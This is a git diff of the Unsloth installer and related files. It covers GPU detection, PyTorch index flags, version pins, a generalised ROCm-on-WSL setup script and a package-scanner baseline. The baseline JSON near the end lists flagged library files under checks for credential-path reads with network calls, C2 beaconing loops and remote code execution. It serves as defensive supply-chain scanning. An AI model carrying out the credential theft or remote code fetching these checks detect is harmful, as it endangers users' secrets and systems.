+    [ "$_SKIP_AUTOSTART" = true ] && _rr_exports="$_rr_exports; export UNSLOTH_SKIP_AUTOSTART=1"
     _rr_args=""
     [ "$PACKAGE_NAME" != "unsloth" ] && _rr_args="$_rr_args --package $(_rr_q "$PACKAGE_NAME")"
     [ -n "$_USER_PYTHON" ] && _rr_args="$_rr_args --python $(_rr_q "$_USER_PYTHON")"
@@ -1938,61 +2052,6 @@ _has_amd_rocm_gpu() {
     return 1
 }
 
-# ── Bounded command runner ──
-# Runs a command under a 10s timeout when the `timeout` binary is available,
-# otherwise runs it unbounded. Keeps a wedged nvidia-smi (blocking during
-# driver init or after a reset) from hanging the installer: a timed-out probe
-# exits nonzero and is treated exactly like a failed probe. No-op semantics on
-# hosts without `timeout` (e.g. macOS) or when the probe is healthy.
-_run_bounded() {
-    if command -v timeout >/dev/null 2>&1; then
-        timeout 10 "$@"
-    else
-        "$@"
-    fi
-}
-
-# Returns 0 (true) when CUDA_VISIBLE_DEVICES is set to "" or "-1", i.e. every
-# NVIDIA device is deliberately hidden (mixed AMD+NVIDIA hosts steering work to
-# the AMD card). Unset means all devices visible. nvidia-smi ignores this env
-# var, so the probes below cannot see the distinction on their own.
-_cvd_hides_nvidia() {
-    [ "${CUDA_VISIBLE_DEVICES+set}" = "set" ] || return 1
-    _cvd_trim=$(printf '%s' "$CUDA_VISIBLE_DEVICES" | tr -d '[:space:]')
-    [ -z "$_cvd_trim" ] || [ "$_cvd_trim" = "-1" ]
-}
-
-# ── NVIDIA usable-GPU helper ──
-# Returns 0 (true) if an NVIDIA GPU is present and usable.
-# Primary probe: nvidia-smi -L. Fallback: /proc/driver/nvidia/gpus/ sysfs,
-# which the NVIDIA driver populates on Linux regardless of nvidia-smi state
-# -- handles PATH gaps, subprocess timeouts, and driver init races that
-# could otherwise cause nvidia-smi to fail and silence NVIDIA detection.
-# A GPU hidden via CUDA_VISIBLE_DEVICES=""/-1 counts as NOT usable (matches
-# install_llama_prebuilt.py has_usable_nvidia), so AMD/CPU routing still runs.
-_has_usable_nvidia_gpu() {
-    if _cvd_hides_nvidia; then
-        return 1
-    fi
-    _nvsmi=""
-    if command -v nvidia-smi >/dev/null 2>&1; then
-        _nvsmi="nvidia-smi"
-    elif [ -x "/usr/bin/nvidia-smi" ]; then
-        _nvsmi="/usr/bin/nvidia-smi"
-    fi
-    if [ -n "$_nvsmi" ]; then
-        if _run_bounded "$_nvsmi" -L 2>/dev/null | awk '/^GPU[[:space:]]+[0-9]+:/{found=1} END{exit !found}'; then
-            return 0
-        fi
-    fi
-    # Fallback: NVIDIA driver exposes one subdir per GPU under this path.
-    if [ -d /proc/driver/nvidia/gpus ] && \
-       [ -n "$(ls -A /proc/driver/nvidia/gpus 2>/dev/null)" ]; then
-        return 0
-    fi
-    return 1
-}
-
 # ── Detect GPU and choose PyTorch index URL ──
 # Mirrors Get-TorchIndexUrl in install.ps1.
 # On CPU-only machines this returns the cpu index, avoiding the solver
@@ -2141,9 +2200,9 @@ _expected_torch_flavor_tag() {
     esac
 }
 
-# Whether index ($1) supports a plain --index-url reinstall. pytorch.org cuXXX /
+# Whether index ($1) supports a plain --default-index reinstall. pytorch.org cuXXX /
 # rocmX.Y AND the repo.amd.com gfx* indexes are all PEP 503 simple indexes that uv
-# resolves (torch + every transitive dep) via --index-url -- the same URLs the
+# resolves (torch + every transitive dep) via --default-index -- the same URLs the
 # fresh-install paths above already use -- so a stale wheel is auto-repairable.
 # Unknown/odd-mirror leaves -> no, so we warn rather than risk a wrong reinstall.
 _torch_index_repairable() {
@@ -2306,19 +2365,19 @@ _persist_rocm_wsl_dropin() {
     fi
 }
 
+# _wsl_amd_gpu_name is defined earlier so both the reroute and this bootstrap can use it.
 _maybe_bootstrap_rocm_wsl() {
     [ "${OS:-}" = "wsl" ] || return 0
     [ "${SKIP_TORCH:-false}" = "false" ] || return 0
     [ "${UNSLOTH_SKIP_ROCM_WSL_SETUP:-0}" = "1" ] && return 0
     # Leave any already-usable GPU completely alone (NVIDIA, or working ROCm).
     if _has_usable_nvidia_gpu; then return 0; fi
-    # "Usable ROCm" here = rocminfo enumerates the gfx1151 agent. Don't use the
-    # generic _has_amd_rocm_gpu: its broad gfx match accepts "gfx11-generic" and
-    # would skip this bootstrap while the real GPU is still unusable. awk consumes
-    # all input, so rocminfo isn't SIGPIPE'd like `grep -q` would under pipefail.
+    # Usable ROCm = rocminfo enumerates a real GPU agent: gfx[1-9] (excludes gfx000,
+    # the CPU agent) and not the "gfx11-generic" fallback. awk consumes all input so
+    # rocminfo isn't SIGPIPE'd like `grep -q` under pipefail.
     _ensure_rocm_probe_env
     if command -v rocminfo >/dev/null 2>&1 && \
-       rocminfo 2>/dev/null | awk '/Name:[[:space:]]*gfx1151/{found=1} END{exit !found}'; then
+       rocminfo 2>/dev/null | awk '/Name:[[:space:]]*gfx[1-9]/ && !/generic/{found=1} END{exit !found}'; then
         # rocminfo may work only via the transient env _ensure_rocm_probe_env
         # just set, which dies with the installer. Persist the drop-in so login
         # shells (Studio, llama.cpp) inherit it -- else a reinstall over an
@@ -2328,9 +2387,12 @@ _maybe_bootstrap_rocm_wsl() {
     fi
     # WSL GPU passthrough device must exist (present on any WSL2 GPU host).
     [ -e /dev/dxg ] || return 0
-    # Only Strix Halo (gfx1151): rocminfo can't tell us the arch yet, so match
-    # the CPU model string WSL exposes (e.g. "AMD Ryzen AI Max+ ... Radeon 8060S").
-    grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null || return 0
+    # Strix APUs show in /proc/cpuinfo (the CPU model); discrete cards don't, so also
+    # ask the Windows host. Either signal suffices; the bootstrap detects arch from rocminfo.
+    if ! grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null \
+       && ! _wsl_amd_gpu_name >/dev/null 2>&1; then
+        return 0
+    fi
     command -v bash >/dev/null 2>&1 || return 0
 
     # Fast path: already configured (librocdxg present) but launched from a
@@ -2348,7 +2410,8 @@ _maybe_bootstrap_rocm_wsl() {
     fi
 
     echo ""
-    substep "Detected AMD Strix Halo (Radeon 8000S) in WSL with no ROCm runtime yet." "$C_WARN"
+    _rw_gpu="$(_wsl_amd_gpu_name 2>/dev/null || true)"; [ -n "$_rw_gpu" ] || _rw_gpu="an AMD GPU"
+    substep "Detected ${_rw_gpu} in WSL with no ROCm runtime yet." "$C_WARN"
     substep "Setting up ROCm-on-WSL (ROCm 7.2 + librocdxg) automatically to enable this GPU."
     substep "One-time, uses sudo and a large download. (skip: re-run with UNSLOTH_SKIP_ROCM_WSL_SETUP=1)"
 
@@ -2653,7 +2716,7 @@ if [ "$_MIGRATED" = true ]; then
         # to prevent transitive torch resolution.
         run_install_cmd_retry "install unsloth (migrated no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
             --reinstall-package unsloth --reinstall-package unsloth-zoo \
-            "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7"
+            "unsloth>=2026.7.3" "unsloth-zoo>=2026.7.3"
         # Resolve pydantic WITH deps so pip pins pydantic-core to the
         # matching version (no-torch-runtime.txt below is --no-deps).
         # All transitive deps are torch-free.
@@ -2664,9 +2727,11 @@ if [ "$_MIGRATED" = true ]; then
             run_install_cmd_retry "install no-torch runtime deps" uv pip install --python "$_VENV_PY" --no-deps -r "$_NO_TORCH_RT"
         fi
     else
+        # Pin mlx-lm away from 0.31.3 here too: a curl-piped migration has no
+        # overrides file, so UV_OVERRIDE is unset and this positional is the only cover.
         run_install_cmd_retry "install unsloth (migrated)" uv pip install --python "$_VENV_PY" \
             --reinstall-package unsloth --reinstall-package unsloth-zoo \
-            "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7"
+            "unsloth>=2026.7.3" "unsloth-zoo>=2026.7.3" ${_MLX_LM_EXCLUDE_ARG:-}
     fi
     if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
         substep "overlaying local repo (editable)..."
@@ -2689,7 +2754,7 @@ if [ "$_MIGRATED" = true ]; then
                     substep "repairing ROCm torch (overwritten by dependency resolution)..."
                     run_install_cmd_retry "repair ROCm torch" uv pip install --python "$_VENV_PY" \
                         "$TORCH_CONSTRAINT" torchvision torchaudio \
-                        --index-url "$TORCH_INDEX_URL" \
+                        --default-index "$TORCH_INDEX_URL" \
                         --force-reinstall
                 fi
                 ;;
@@ -2815,7 +2880,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
                     substep "[WARN] Radeon repo lacks a compatible wheel set for this Python; falling back to ROCm index ($TORCH_INDEX_URL)" "$C_WARN"
                     run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \
                         "$TORCH_CONSTRAINT" torchvision torchaudio \
-                        --index-url "$TORCH_INDEX_URL"
+                        --default-index "$TORCH_INDEX_URL"
                 else
                     substep "installing PyTorch from Radeon repo (${_RADEON_BASE_URL})..."
                     # Pass explicit wheel URLs so the matched trio is
@@ -2838,18 +2903,18 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
                 substep "[WARN] Radeon repo unavailable; falling back to ROCm index ($TORCH_INDEX_URL)" "$C_WARN"
                 run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \
                     "$TORCH_CONSTRAINT" torchvision torchaudio \
-                    --index-url "$TORCH_INDEX_URL"
+                    --default-index "$TORCH_INDEX_URL"
             fi
         else
             substep "[WARN] Radeon GPU detected but could not detect full ROCm version; falling back to ROCm index" "$C_WARN"
             run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \
                 "$TORCH_CONSTRAINT" torchvision torchaudio \
-                --index-url "$TORCH_INDEX_URL"
+                --default-index "$TORCH_INDEX_URL"
         fi
     else
         substep "installing PyTorch ($TORCH_INDEX_URL)..."
         run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" "$TORCH_CONSTRAINT" torchvision torchaudio \
-            --index-url "$TORCH_INDEX_URL"
+            --default-index "$TORCH_INDEX_URL"
     fi
     # AMD ROCm: install bitsandbytes (once, after torch, for all ROCm paths).
     # Gate on SKIP_TORCH=false so a user running with --no-torch on a ROCm
@@ -2870,7 +2935,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
         # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
         run_install_cmd_retry "install unsloth (no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
             --upgrade-package unsloth --upgrade-package unsloth-zoo \
-            "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7"
+            "unsloth>=2026.7.3" "unsloth-zoo>=2026.7.3"
         # Same pydantic-with-deps trick as the migrated branch.
         run_install_cmd_retry "install pydantic (with deps for compatible core)" \
             uv pip install --python "$_VENV_PY" pydantic
@@ -2888,7 +2953,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
         fi
     elif [ "$STUDIO_LOCAL_INSTALL" = true ]; then
         run_install_cmd_retry "install unsloth (local)" uv pip install --python "$_VENV_PY" \
-            --upgrade-package unsloth "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7"
+            --upgrade-package unsloth "unsloth>=2026.7.3" "unsloth-zoo>=2026.7.3"
         substep "overlaying local repo (editable)..."
         run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
         substep "overlaying unsloth-zoo from git main..."
@@ -2897,7 +2962,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
             "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo"
     else
         run_install_cmd_retry "install unsloth" uv pip install --python "$_VENV_PY" \
-            --upgrade-package unsloth -- "$PACKAGE_NAME"
+            --upgrade-package unsloth -- "$PACKAGE_NAME" ${_MLX_LM_EXCLUDE_ARG:-}
     fi
     # AMD ROCm: repair torch if the unsloth/unsloth-zoo install pulled in
     # CUDA torch from PyPI, overwriting the ROCm wheels installed in Step 1.
@@ -2909,7 +2974,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
                     substep "repairing ROCm torch (overwritten by dependency resolution)..."
                     run_install_cmd_retry "repair ROCm torch" uv pip install --python "$_VENV_PY" \
                         "$TORCH_CONSTRAINT" torchvision torchaudio \
-                        --index-url "$TORCH_INDEX_URL" \
+                        --default-index "$TORCH_INDEX_URL" \
                         --force-reinstall
                 fi
                 ;;
@@ -2920,7 +2985,7 @@ else
     tauri_log "STEP" "Installing Unsloth"
     substep "installing unsloth (this may take a few minutes)..."
     if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
-        run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.6.7" "unsloth>=2026.6.9" --torch-backend=auto
+        run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.7.3" "unsloth>=2026.7.3" --torch-backend=auto
         substep "overlaying local repo (editable)..."
         run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
         substep "overlaying unsloth-zoo from git main..."
@@ -2944,14 +3009,14 @@ if [ "$SKIP_TORCH" = false ] && [ -n "${TORCH_INDEX_URL:-}" ]; then
         _installed_torch_ver=$("$_VENV_PY" -c "import torch; print(torch.__version__)" 2>/dev/null || true)
         _installed_torch_tag=""
         [ -n "$_installed_torch_ver" ] && _installed_torch_tag=$(_torch_flavor_tag "$_installed_torch_ver")
-        # Repair when flavor is wrong AND the index is plain --index-url reinstallable
+        # Repair when flavor is wrong AND the index is plain --default-index reinstallable
         # (cuXXX / rocmX.Y / repo.amd.com gfx*); an unknown mirror leaf -> warn only.
         if [ -n "$_installed_torch_tag" ] && [ "$_installed_torch_tag" != "$_expected_torch_tag" ] \
            && [ "$(_torch_index_repairable "$TORCH_INDEX_URL")" = "yes" ]; then
             substep "PyTorch flavor mismatch (installed $_installed_torch_tag, need $_expected_torch_tag) -- reinstalling correct build..."
             run_install_cmd "reinstall PyTorch ($_expected_torch_tag)" uv pip install --python "$_VENV_PY" \
                 "$TORCH_CONSTRAINT" torchvision torchaudio \
-                --index-url "$TORCH_INDEX_URL" \
+                --default-index "$TORCH_INDEX_URL" \
                 --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio
             _installed_torch_ver=$("$_VENV_PY" -c "import torch; print(torch.__version__)" 2>/dev/null || true)
             _installed_torch_tag=""
@@ -2962,7 +3027,7 @@ if [ "$SKIP_TORCH" = false ] && [ -n "${TORCH_INDEX_URL:-}" ]; then
             substep "[WARN] PyTorch is CPU-only but a $_expected_torch_tag GPU build was expected for this machine." "$C_WARN"
             substep "[WARN] Training and GPU inference will run on CPU until this is fixed." "$C_WARN"
             substep "[WARN] Re-run this installer, or reinstall the GPU build manually:" "$C_WARN"
-            substep "[WARN]   uv pip install --python \"$_VENV_PY\" \"$TORCH_CONSTRAINT\" torchvision torchaudio --index-url $TORCH_INDEX_URL --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio" "$C_WARN"
+            substep "[WARN]   uv pip install --python \"$_VENV_PY\" \"$TORCH_CONSTRAINT\" torchvision torchaudio --default-index $TORCH_INDEX_URL --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio" "$C_WARN"
         fi
     fi
 fi
@@ -3023,6 +3088,13 @@ _run_setup_with_studio_home() {
         "$@"
     fi
 }
+if [ -n "$_WITH_LLAMA_CPP_DIR" ]; then
+    if [ ! -d "$_WITH_LLAMA_CPP_DIR" ]; then
+        echo "[ERROR] --with-llama-cpp-dir path does not exist: $_WITH_LLAMA_CPP_DIR" >&2
+        exit 1
+    fi
+    _WITH_LLAMA_CPP_DIR="$(CDPATH= cd -P -- "$_WITH_LLAMA_CPP_DIR" && pwd -P)"
+fi
 if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
     _run_setup_with_studio_home env \
     SKIP_STUDIO_BASE="$_SKIP_BASE" \
@@ -3031,6 +3103,7 @@ if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
     STUDIO_LOCAL_INSTALL=1 \
     STUDIO_LOCAL_REPO="$_REPO_ROOT" \
     UNSLOTH_NO_TORCH="$SKIP_TORCH" \
+    UNSLOTH_LOCAL_LLAMA_CPP_DIR="$_WITH_LLAMA_CPP_DIR" \
     bash "$SETUP_SH" </dev/null || _SETUP_EXIT=$?
 else
     # Explicitly reset STUDIO_LOCAL_INSTALL / STUDIO_LOCAL_REPO so a stale
@@ -3045,6 +3118,7 @@ else
     STUDIO_LOCAL_INSTALL=0 \
     STUDIO_LOCAL_REPO= \
     UNSLOTH_NO_TORCH="$SKIP_TORCH" \
+    UNSLOTH_LOCAL_LLAMA_CPP_DIR="$_WITH_LLAMA_CPP_DIR" \
     bash "$SETUP_SH" </dev/null || _SETUP_EXIT=$?
 fi
 
@@ -3153,9 +3227,10 @@ printf "  ${C_TITLE}%s${C_RST}\n" "Unsloth Studio installed!"
 printf "  ${C_DIM}%s${C_RST}\n" "$RULE"
 echo ""
 
-# In interactive terminals, ask the user before starting Studio.
+# In interactive terminals, ask the user before starting Studio unless the
+# caller explicitly disabled the post-install prompt.
 # In non-interactive environments (Docker, CI, cloud-init) just print instructions.
-if [ -t 1 ]; then
+if [ "$_SKIP_AUTOSTART" != true ] && [ -t 1 ]; then
     echo ""
     printf "  Start Unsloth Studio now? [Y/n] "
     # No readable answer (closed/EOF tty) defaults to no; Enter is still yes.
@@ -3191,8 +3266,8 @@ if [ -t 1 ]; then
         *)
             step "launch" "to start later, run:"
             substep "unsloth studio -p 8888"
-            substep "(add -H 0.0.0.0 to allow network / cloud access)"
-            substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
+            substep "(add -H 0.0.0.0 for LAN / cloud access; exposes the raw port only, not a public URL)"
+            substep "(add -H 0.0.0.0 --cloudflare for a public Cloudflare HTTPS link, or --secure to keep the raw port private; anyone with the API key can run code)"
             echo ""
             ;;
     esac
@@ -3213,7 +3288,7 @@ else
         substep "source $_li_act_q"
         substep "unsloth studio -p 8888"
     fi
-    substep "(add -H 0.0.0.0 to allow network / cloud access)"
-    substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
+    substep "(add -H 0.0.0.0 for LAN / cloud access; exposes the raw port only, not a public URL)"
+    substep "(add -H 0.0.0.0 --cloudflare for a public Cloudflare HTTPS link, or --secure to keep the raw port private; anyone with the API key can run code)"
     echo ""
 fi
diff --git a/pyproject.toml b/pyproject.toml
index 844ead2454..7b8fdd100d 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -42,6 +42,7 @@ version = {attr = "unsloth.models._utils.__version__"}
 include-package-data = true
 
 [tool.setuptools.package-data]
+unsloth_cli = ["codex_fallback_prompt.md"]
 studio = [
     "*.sh",
     "*.ps1",
@@ -73,7 +74,7 @@ triton = [
 ]
 
 huggingfacenotorch = [
-    "unsloth_zoo>=2026.6.7",
+    "unsloth_zoo>=2026.7.3",
     "wheel>=0.42.0",
     "packaging",
     "numpy",
@@ -94,7 +95,7 @@ huggingfacenotorch = [
 ]
 huggingface = [
     "unsloth[huggingfacenotorch]",
-    "unsloth_zoo>=2026.6.7",
+    "unsloth_zoo>=2026.7.3",
     "torchvision",
     "unsloth[triton]",
 ]
@@ -579,7 +580,7 @@ colab-ampere-torch220 = [
     "flash-attn>=2.6.3 ; ('linux' in sys_platform)",
 ]
 colab-new = [
-    "unsloth_zoo>=2026.6.7",
+    "unsloth_zoo>=2026.7.3",
     "packaging",
     "tyro",
     "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0",
diff --git a/scripts/install_rocm_wsl_strixhalo.sh b/scripts/install_rocm_wsl_strixhalo.sh
index 5ef9ee386a..aa560fc432 100644
--- a/scripts/install_rocm_wsl_strixhalo.sh
+++ b/scripts/install_rocm_wsl_strixhalo.sh
@@ -3,13 +3,14 @@
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 #
 # ──────────────────────────────────────────────────────────────────────────────
-# Enable ROCm-on-WSL for AMD Strix Halo (Radeon 8060S / gfx1151)
+# Enable ROCm-on-WSL for AMD GPUs (Strix Halo/Point APUs AND discrete Radeon RX
+# 7000/9000). Verified on gfx1151 (Radeon 8060S) and gfx1200 (Radeon RX 9060 XT).
 # ──────────────────────────────────────────────────────────────────────────────
-# install.sh already routes gfx1151 to the right ROCm wheels once a ROCm runtime
-# is present; what it does NOT do is install AMD's ROCm userspace + the WSL DXG
-# bridge. This helper automates that Linux-side prerequisite on Ubuntu 24.04
-# WSL2 and is invoked by install.sh when it sees a Strix Halo APU in WSL (via
-# /dev/dxg) but no ROCm runtime yet. Fully idempotent (re-run just re-verifies).
+# install.sh routes the detected arch to the right ROCm wheels once a runtime exists;
+# what it does NOT do is install AMD's ROCm userspace + the WSL DXG bridge (librocdxg).
+# This helper does that Linux-side prerequisite on Ubuntu 24.04 WSL2, invoked by
+# install.sh when it sees an AMD GPU via /dev/dxg but no ROCm yet. Arch-agnostic: the
+# arch is auto-detected from rocminfo (override UNSLOTH_WSL_GFX=gfx1200). Idempotent.
 #
 # Manual, admin-gated Windows prerequisite: an AMD Adrenalin driver with
 # production ROCDXG/WSL support (26.2.2+). install.ps1 offers to update it. Once
@@ -34,10 +35,12 @@ set -euo pipefail
 
 # ── Tunables (override via env) ──────────────────────────────────────────────
 ROCM_VER="${UNSLOTH_WSL_ROCM_VER:-7.2.1}"            # ROCm release to install
-GFX="gfx1151"
+# GPU arch: empty = auto-detect from rocminfo after install (override UNSLOTH_WSL_GFX=gfx1200).
+# The ROCm + librocdxg setup is arch-agnostic; only verify + the smoke test need the arch.
+GFX="${UNSLOTH_WSL_GFX:-}"
 LIBROCDXG_REF="${UNSLOTH_LIBROCDXG_REF:-develop}"    # ROCm/librocdxg git ref to build
-# AMD's gfx1151 wheel index (same one install.sh uses); only for the smoke test.
-TORCH_INDEX="${UNSLOTH_AMD_ROCM_MIRROR:-https://repo.amd.com/rocm/whl}/${GFX}/"
+# AMD's wheel index for the (optional) smoke test; resolved after arch detection.
+TORCH_INDEX=""
 # Optional torch smoke test (throwaway venv). OFF by default: install.sh installs
 # torch itself into the real venv right after, so a duplicate download is wasteful.
 SMOKE_TEST="${UNSLOTH_WSL_SMOKE_TEST:-0}"
@@ -220,12 +223,12 @@ $SUDO ldconfig
 say "Persisting ROCm-on-WSL environment"
 _envfile="/etc/profile.d/unsloth-rocm-wsl.sh"
 $SUDO tee "$_envfile" >/dev/null <<EOF
-# >>> Unsloth ROCm-on-WSL (gfx1151) >>>
+# >>> Unsloth ROCm-on-WSL >>>
 export HSA_ENABLE_DXG_DETECTION=1
 export TORCH_ROCM_AOTRITON_ENABLE_EXPERIMENTAL=1
 export PATH="${ROCM_DIR}/bin:\${PATH}"
 export LD_LIBRARY_PATH="${ROCM_DIR}/lib:\${LD_LIBRARY_PATH:-}"
-# <<< Unsloth ROCm-on-WSL (gfx1151) <<<
+# <<< Unsloth ROCm-on-WSL <<<
 EOF
 # also drop into ~/.bashrc for interactive shells
 if [ -n "${HOME:-}" ] && ! grep -q "Unsloth ROCm-on-WSL" "${HOME}/.bashrc" 2>/dev/null; then
@@ -237,32 +240,50 @@ export PATH="${ROCM_DIR}/bin:${PATH}"
 export LD_LIBRARY_PATH="${ROCM_DIR}/lib:${LD_LIBRARY_PATH:-}"
 
 # ── Step 5: verify the runtime enumerates the GPU ────────────────────────────
-say "Verifying rocminfo sees ${GFX}"
+say "Verifying rocminfo enumerates the GPU over DXG"
 # Capture rocminfo into a var BEFORE grepping: piping into `grep -q` SIGPIPEs
 # rocminfo on first match, which under `set -o pipefail` turns a successful match
-# into a pipeline failure. Match the gfx1151 ISA "Name:" agent exactly (not a
-# broad gfx1[0-9]) so a generic fallback ISA or unrelated RDNA GPU can't pass.
+# into a pipeline failure.
 _rocminfo_out="$(rocminfo 2>/dev/null || true)"
-if ! printf '%s\n' "$_rocminfo_out" | grep -qE "Name:[[:space:]]*${GFX}([^0-9]|$)"; then
+# GPU agents advertise an ISA "Name: gfxNNNN". Match gfx[1-9] (excludes gfx000, the CPU
+# agent), drop the "gfx*-generic" fallback ISA, and take the first real GPU arch.
+_detected_gfx="$(printf '%s\n' "$_rocminfo_out" | grep -E 'Name:[[:space:]]*gfx[1-9]' | grep -v 'generic' | grep -oE 'gfx[1-9][0-9a-z]*' | head -1 || true)"
+if [ -z "$_detected_gfx" ]; then
     printf '%s\n' "$_rocminfo_out" | head -25 >&2 || true
-    die "rocminfo did not enumerate a ${GFX} GPU agent. Most common cause: the Windows AMD driver predates production ROCDXG -- update Adrenalin (install.ps1 offers this), reboot, and re-run."
+    die "rocminfo did not enumerate any GPU agent. Most common cause: the Windows AMD driver predates production ROCDXG -- update Adrenalin (install.ps1 offers this), reboot, and re-run."
 fi
+# Honour a caller-pinned arch (sanity-check via a consuming grep, not grep -q: under
+# pipefail -q would SIGPIPE printf on large output and misreport the arch); else adopt.
+if [ -n "$GFX" ] && ! printf '%s\n' "$_rocminfo_out" | grep -E "Name:[[:space:]]*${GFX}([^0-9]|$)" >/dev/null; then
+    die "rocminfo enumerated '${_detected_gfx}' but not the requested UNSLOTH_WSL_GFX='${GFX}'."
+fi
+GFX="${GFX:-$_detected_gfx}"
 # Display-only summary: best-effort (|| true) so head's early pipe-close under
 # `set -o pipefail` can't fail the bootstrap after verification already passed.
 printf '%s\n' "$_rocminfo_out" | grep -E 'Marketing Name|Device Type|Compute Unit' | grep -iE "Radeon|GPU|Compute" | head -3 || true
 note "ROCm-on-WSL runtime is live for ${GFX}."
 
-# ── Step 6 (optional): torch smoke test from the gfx1151 index ───────────────
+# ── Step 6 (optional): torch smoke test from AMD's per-arch wheel index ───────
 if [ "$SMOKE_TEST" = "1" ]; then
     say "Smoke-testing PyTorch on ${GFX} (throwaway venv)"
+    # Map the detected arch to AMD's repo.amd.com wheel family index.
+    case "$GFX" in
+        gfx1200|gfx1201)                 _fam="gfx120X-all" ;;
+        gfx1100|gfx1101|gfx1102|gfx1103) _fam="gfx110X-all" ;;
+        *)                               _fam="$GFX" ;;   # gfx1150/gfx1151/gfx90a: own index
+    esac
+    TORCH_INDEX="${UNSLOTH_AMD_ROCM_MIRROR:-https://repo.amd.com/rocm/whl}/${_fam}/"
     _venv="${HOME}/.unsloth/rocm-smoketest"
     rm -rf "$_venv"; python3 -m venv "$_venv"
     "$_venv/bin/pip" install --quiet --upgrade pip
-    # gfx1151 index is primary (torch + triton); PyPI only an extra for pure-py
+    # AMD arch index is primary (torch + triton); PyPI only an extra for pure-py
     # deps. The constraint keeps pip on the ROCm wheel, not a newer PyPI CUDA torch.
     "$_venv/bin/pip" install --index-url "$TORCH_INDEX" \
         --extra-index-url https://pypi.org/simple "$TORCH_CONSTRAINT" || \
         die "torch install from ${TORCH_INDEX} failed."
+    # WSL: torch's bundled ROCr must load the DXG bridge -- drop librocdxg into torch/lib.
+    _tlib="$("$_venv/bin/python" -c 'import torch,os;print(os.path.join(os.path.dirname(torch.__file__),"lib"))' 2>/dev/null || true)"
+    [ -d "$_tlib" ] && cp -f "${ROCM_DIR}"/lib/librocdxg.so* "$_tlib"/ 2>/dev/null || true
     "$_venv/bin/python" - <<'PY'
 import torch
 ok = torch.cuda.is_available()
diff --git a/scripts/scan_packages_baseline.json b/scripts/scan_packages_baseline.json
index 046566d148..929cc37bda 100644
--- a/scripts/scan_packages_baseline.json
+++ b/scripts/scan_packages_baseline.json
@@ -39,7 +39,7 @@
       "file": "botocore/utils.py",
       "check": "Reads credential paths AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Creds: L3551:     CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3721:         return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass",
+      "evidence": "Creds: L3551:     CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3719:         return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass",
       "evidence_hash": "2d691bc373ab872aad23c744104596ba6d0d9f3b35aa101c7edbff4429b174c1"
     },
     {
@@ -55,23 +55,23 @@
       "file": "datasets/utils/file_utils.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L443:     while True: sha256:feba37d77721aa658e1786d2e4b67de76fefe1ceeb3ce8529d361c5241778eea",
-      "evidence_hash": "2e458563dec752d0a9896c9685d368d9906867110db315ab751e3eb6ec63f51c"
+      "evidence": "L441:     while True: sha256:ce92e38c17c524815e1f9055be77235028c1e68e41b45cbfe9c8f1b867a205da",
+      "evidence_hash": "cb36281d28a975d101121c0702ee05eeee470879520d39a8be552129333f514d"
     },
     {
       "package": "datasets",
       "file": "datasets/utils/file_utils.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L441:     while True: sha256:ce92e38c17c524815e1f9055be77235028c1e68e41b45cbfe9c8f1b867a205da",
-      "evidence_hash": "cb36281d28a975d101121c0702ee05eeee470879520d39a8be552129333f514d"
+      "evidence": "L443:     while True: sha256:feba37d77721aa658e1786d2e4b67de76fefe1ceeb3ce8529d361c5241778eea",
+      "evidence_hash": "2e458563dec752d0a9896c9685d368d9906867110db315ab751e3eb6ec63f51c"
     },
     {
       "package": "diffusers",
       "file": "diffusers/utils/import_utils.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L1015:             return importlib.import_module(\".\" + module_name, self.__name__)",
